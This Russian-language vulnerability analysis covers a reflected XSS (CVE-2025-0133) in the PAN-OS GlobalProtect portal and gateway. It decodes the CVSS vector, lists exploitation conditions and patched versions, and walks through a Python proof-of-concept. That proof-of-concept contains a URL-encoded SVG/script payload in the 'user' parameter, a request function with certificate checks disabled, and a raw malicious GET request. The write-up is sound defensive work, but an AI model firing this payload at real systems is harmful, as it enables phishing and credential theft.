Уязвимость BDU:2025-05718 (CVE-2025-0133) PAN-OS
Уязвимость BDU:2025-05718 (CVE-2025-0133) представляет собой отраженную XSS в компонентах GlobalProtect Gateway и Portal операционной системы PAN-OS компании Palo Alto Networks. Она позволяет удаленному злоумышленнику внедрить и выполнить произвольный JavaScript-код в контексте браузера аутентифицированного пользователя Captive Portal при переходе по специально сформированной ссылке. Основной риск связан с фишингом и кражей учетных данных, особенно если включена функция Clientless VPN.
Анализ уязвимости
Уровень опасности: 6.9 (СРЕДНИЙ) по шкале CVSS-B
Вектор атаки: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/
UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/
S:N/AU:N/R:U/V:D/RE:M/U:Amber
Расшифровка вектора атаки:
-
AV:N (Attack Vector: Network) - атака через сеть, удаленно
-
AC:L (Attack Complexity: Low) - низкая сложность атаки
-
AT:N (Attack Requirements: None) - не требуется дополнительных условий для атаки
-
PR:N (Privileges Required: None) - не требуются привилегии
-
UI:N (User Interaction: None) - в метрике указано, что не требуется взаимодействия с пользователем, но для эксплуатации уязвимости пользователь должен перейти по ссылке
-
VC:L (Confidentiality Impact: Low) - ограниченное воздействие на конфиденциальность
-
VI:L (Integrity Impact: Low) - ограниченное воздействие на целостность
-
VA:N (Availability Impact: None) - отсутствие воздействия на доступность
-
SC:N, SI:N, SA:N (Subsequent Confidentiality, Integrity, Availability: None) - последующее воздействие на конфиденциальность, целостность и доступность отсутствует
-
S:N (Safety: None) - безопасность не нарушена
-
AU:N (Automatable: No) - автоматизация невозможна
-
R:U (Recovery: User) - восстановление требует участия пользователя
-
V:D (Value Density: Diffuse) - распределенная ценность активов (компрометация одного компонента не приводит к полной потере ценных данных)
-
RE:M (Response Effort: Moderate) - усилия по реагированию умеренные
-
U:Amber (Urgency: Amber) - срочность средняя
Условия эксплуатации уязвимости
Для успешной эксплуатации уязвимости необходимо соблюдение нескольких условий:
-
На целевой системе должен быть настроен и включен GlobalProtect Gateway или Portal
-
Злоумышленник должен иметь возможность заставить аутентифицированного пользователя перейти по специально сформированной ссылке, хотя в метрике указано, что взаимодействие с пользователем не требуется
-
Пользователь должен быть аутентифицирован в Captive Portal на момент перехода по ссылке
-
Для полной эксплуатации и кражи учетных данных должна быть включена опция Clientless VPN
Расхождение метрики User Interaction: None и необходимости открыть ссылку пользователем можно объяснить тем, что оценщик мог исходить из того, что после перехода по ссылке никаких дополнительных действий от пользователя (например, подтверждения диалога) не требуется — код выполняется автоматически. Но даже в этом случае сам факт необходимости перехода по ссылке должен классифицироваться как взаимодействие с пользователем.
Технический анализ эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.
Структура вредоносного URL
Основной механизм атаки заключается в формировании специального URL с XSS-пейлоадом в параметре user:
PAYLOAD_PATH = (
"/ssl-vpn/getconfig.esp"
"?client-type=1"
"&protocol-version=p1"
"&app-version=3.0.1-10"
"&clientos=Linux"
"&os-version=linux-64"
"&hmac-algo=sha1%2Cmd5"
"&enc-algo=aes-128-cbc%2Caes-256-cbc"
"&authcookie=12cea70227d3aafbf25082fac1b6f51d"
"&portal=us-vpn-gw-N"
"&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E"
"&domain=(empty_domain)"
"&computer=computer"
)
Критически важным элементом является параметр user, содержащий URL-кодированный XSS-пейлоад:
-
Исходный пейлоад:
<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg> -
URL-кодированная версия:
%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E
Анализ функций эксплоита
Функция build_exploit_url формирует полный URL для атаки:
def build_exploit_url(base_url):
if base_url.endswith("/"):
base_url = base_url[:-1]
return base_url + PAYLOAD_PATH
Эта функция гарантирует, что базовый URL и путь к пейлоаду будут корректно соединены без дублирования слэшей.
Функция send_request выполняет непосредственно атаку:
def send_request(url):
print(f"[+] Sending request to:\n{url}\n")
try:
response = requests.get(url, verify=False, timeout=10)
status = response.status_code
print(f"[+] Status Code: {status}")
if status in [403, 401, 500]:
print("[!] Access denied or server error (possible WAF/protection).")
elif "prompt(\"mitsec\")" in response.text or "prompt('mitsec')" in response.text:
print("[✅] XSS payload reflected! Look for prompt box on browser rendering.")
else:
print("[~] Payload not directly reflected. Review HTML manually.")
print("\n--- Response Preview ---")
print(response.text[:500])
Ключевые аспекты этой функции:
-
verify=Falseотключает проверку SSL-сертификатов, что позволяет атаковать системы с самоподписанными сертификатами -
Проверка кодов состояния 403, 401, 500 помогает идентифицировать системы с дополнительной защитой
-
Поиск пейлоада в ответе сервера подтверждает уязвимость
Пример вредоносного HTTP-запроса
Сформированный эксплоитом HTTP-запрос выглядит следующим образом:
GET /ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22mitsec%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=(empty_domain)&computer=computer HTTP/1.1 Host: target.com User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive
Методы защиты
Обновление программного обеспечения
Первоочередная мера - обновление PAN-OS до версий с исправлением уязвимости CVE-2025-0133:
-
PAN-OS 11.2: обновить до 11.2.4-h9 или 11.2.7 и выше
-
PAN-OS 11.1: обновить до 11.1.6-h14 или 11.1.10-h1 и выше
-
PAN-OS 10.2: обновить до 10.2.16-h1 и выше
-
PAN-OS 10.1: обновить до 10.2.16-h1